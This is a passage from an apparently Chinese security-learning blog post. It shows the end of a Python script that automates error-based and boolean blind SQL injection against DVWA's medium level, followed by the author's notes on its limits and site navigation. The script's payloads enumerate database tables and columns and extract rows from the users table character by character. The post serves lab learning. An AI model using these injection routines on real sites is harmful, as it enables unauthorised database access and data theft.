            # 第c+1個列的列名
            for ascode in range(ord('a'), ord('z') + 1):
                # 第i個字符
                uid = f'1 and ascii(substr((select column_name from information_schema.columns ' \
                      f'where table_schema=database() and table_name={table} limit {c},1),{i},1))={ascode}# '
                # print(uid)
                table_payloads = {'id': uid, 'Submit': 'Submit'}
                res = Post(url_blind, headers_blind, table_payloads)
                if res.find('MISSING') == -1:
                    # print(res)
                    col = col + str(chr(ascode))
                    break
            i += 1
        print('col:', col)
        # print(f'{c + 1}/{columnNum} finished...')
        cols.append(col)
        c += 1
    return cols


def Get_data_blind(table, col):
    # 猜測的資料字典
    data_guess = 'abcdefghijklmnopqrstuvwxyz1234567890/.'
    rowNum = 1
    while True:
        uid = f'1 and (select count(*) from {table})={rowNum}#'
        # print(uid)
        fieldNum_payload = {'id': uid, 'Submit': 'Submit'}
        res = Post(url_blind, headers_blind, fieldNum_payload)
        # print(res)
        if res.find('MISSING') == -1:
            break
        rowNum += 1
    print(f'fieldNum:{rowNum}')
    row = 0
    # 一行行的爆資料,就不保存了,直接輸出
    while row < rowNum:
        # 資料長度
        rowLen = 1
        while True:
            uid = f'1 and length(substr((select {col} from {table} limit {row},1),1)) = {rowLen}#'
            # print(uid)
            rowLen_payload = {'id': uid, 'Submit': 'Submit'}
            res = Post(url_blind, headers_blind, rowLen_payload)
            if res.find('MISSING') == -1:
                break
            rowLen += 1
        # print('rowLen:', rowLen)
        fields = ""
        for m in range(1, rowLen + 1):
            for chr in data_guess:
                uid = f'1 and ascii(substr((select {col} from {table} limit {row},1),{m},1))={ord(chr)} #'
                # print(uid)
                rowContent_payload = {'id': uid, 'Submit': 'Submit'}
                res = Post(url_blind, headers_blind, rowContent_payload)
                if res.find('MISSING') == -1:
                    fields = fields + chr
                    break
        print(fields)
        row += 1


if __name__ == "__main__":
    print('dvwa medium級別 Error注入')
    Get_tables()
    users_hex = str_to_hex('users')
    Get_columns(f'0x{users_hex}')
    cols = ['user', 'avatar']
    Get_data('users', cols)
    print('dvwa medium級別 Boolean盲注')
    Get_db_blind()
    Get_tables_blind()
    Get_columns_blind(f'0x{users_hex}')
    cols = ['user', 'avatar']
    Get_data_blind('users', 'user')
    # Get_data_blind('users', 'avatar')
結果

不滿意的地方

1.花費了我將近一下午的時間,由于post方式,不容易除錯

2.沒有很好的兼容性

3.updatexml注入只能顯示32位,本來想用~來判斷結果,最后使用的pre,顯示的不全,有時間學學報錯注入的其他函式

4.用的話需要修改url,headers,盲注的猜測字符字典

5.用到的包就是request,可以查看Python-requests庫的學習與使用舉例,決議html直接使用的字串查找,可以使用beautifulsoup這個包,

sqlmap還是很厲害的

看到這位作業了幾年的老哥,依然很難寫出兼容性強的代碼,感覺好受一點,,, sqlmap還是很強的,不過除了需要一個個

字符猜的那種,不建議使用sqlmap,還是手工比較好,

更多內容查看:網路安全-自學筆記

喜歡本文的請動動小手點個贊,收藏一下,有問題請下方評論,轉載請注明出處,并附有原文鏈接,謝謝!如有侵權,請及時聯系,如果您感覺有所識訓,自愿打賞,可選擇支付寶18833895206(小于),您的支持是我不斷更新的動力,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/171600.html

標籤:其他

上一篇:解決Qt呼叫bat腳本操作檔案夾界面卡死問題

下一篇:2、TCP Wrappers(簡單防火墻)

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more